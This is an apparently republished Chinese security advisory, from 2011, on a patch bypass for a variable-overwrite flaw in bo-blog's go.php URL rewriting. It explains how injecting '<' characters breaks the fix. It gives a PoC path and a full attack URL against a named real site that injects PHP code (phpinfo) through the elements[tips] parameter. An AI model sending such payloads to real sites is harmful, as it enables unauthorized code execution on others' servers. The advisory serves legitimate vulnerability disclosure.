boblog任意变量覆盖漏洞(二)
boblog任意變量覆蓋漏洞(二)
by Ryat[puretot]
mail: puretot at gmail dot com
team: http://www.80vul.com
date: 2011-03-09
先前80vul.com上公布了一個(gè)bo-blog的漏洞[1],這個(gè)漏洞已經(jīng)被官方修補(bǔ),但隨后wooyun.com上公布了一個(gè)繞過(guò)補(bǔ)丁的方法[2],可惜觸發(fā)時(shí)有一定的限制,下面我再來(lái)公布一個(gè)沒(méi)有任何限制的繞過(guò)補(bǔ)丁繼續(xù)觸發(fā)漏洞的方法:)
這個(gè)簡(jiǎn)單來(lái)說(shuō)是正則表達(dá)式和代碼邏輯不夠嚴(yán)謹(jǐn)造成的,來(lái)看代碼:
// go.php
$q_url=$_SERVER["REQUEST_URI"];
@list($relativePath, $rawURL)=@explode('/go.php/', $q_url);
$rewritedURL=$rawURL;
...
$RewriteRules[]="/page\/([0-9]+)\/([0-9]+)\/?/";
// 這個(gè)正則看上去很嚴(yán)謹(jǐn),但是沒(méi)有使用^和$來(lái)限制開頭與結(jié)尾[可能是為了適應(yīng)程序自身的需要]:)
...
$RedirectTo[]="index.php?mode=\\1&page=\\2";
...
foreach ($RewriteRules as $rule) {
?if (preg_match($rule, $rewritedURL)) {
??$tmp_rewritedURL=preg_replace($rule, '<'.$RedirectTo[$i].'<', $rewritedURL, 1);
// 對(duì)$rewritedURL進(jìn)行匹配和替換,并使用<來(lái)標(biāo)記匹配的部分
// 經(jīng)過(guò)這樣的處理后$tmp_rewritedURL主要分為三部分:
// i.第一個(gè)<前面的部分
// ii.兩個(gè)<之間的部分
// iii.第二個(gè)<后面的部分
??$tmp_rewritedURL=@explode('<', $tmp_rewritedURL);
??$rewritedURL=($tmp_rewritedURL[2]) ? false : $tmp_rewritedURL[1];
// 這段代碼的主要目的是解決之前的正則限制不夠嚴(yán)格的問(wèn)題
// 程序員希望通過(guò)這段代碼去掉i和iii,使$rewritedURL僅保留ii
// 注意這里還對(duì)iii做了限制,按照程序員的想法,iii這部分應(yīng)該是不存在的:)
// 這部分代碼邏輯的關(guān)鍵就在于<這個(gè)字符,但遺憾的是我們是可以隨意注入<的:p
??break;
?}
?$i+=1;
}
從上面的分析可以看出這段代碼對(duì)$rewritedURL處理邏輯貌似很嚴(yán)謹(jǐn),但事實(shí)我們只要通過(guò)簡(jiǎn)單的注入<這個(gè)字符,就可以打亂整個(gè)邏輯了:)
PoC:
/go.php/<[evil code]<page/1/1/
參考:
[1]http://www.80vul.com/boblog/boblog.txt
[2]http://www.wooyun.org/bugs/wooyun-2010-01491
?
http://www.s135.com/go.php?wst=/go.php/<page.php?elements[tips]=%3c!--%20php%20-->%3c!--%20phpinfo();%20-->%3c!--%20/php%20--><page/1/1
總結(jié)
以上是生活随笔為你收集整理的boblog任意变量覆盖漏洞(二)的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 2013 Esri全球用户大会QA之元数
- 下一篇: springboot启动过程_sprin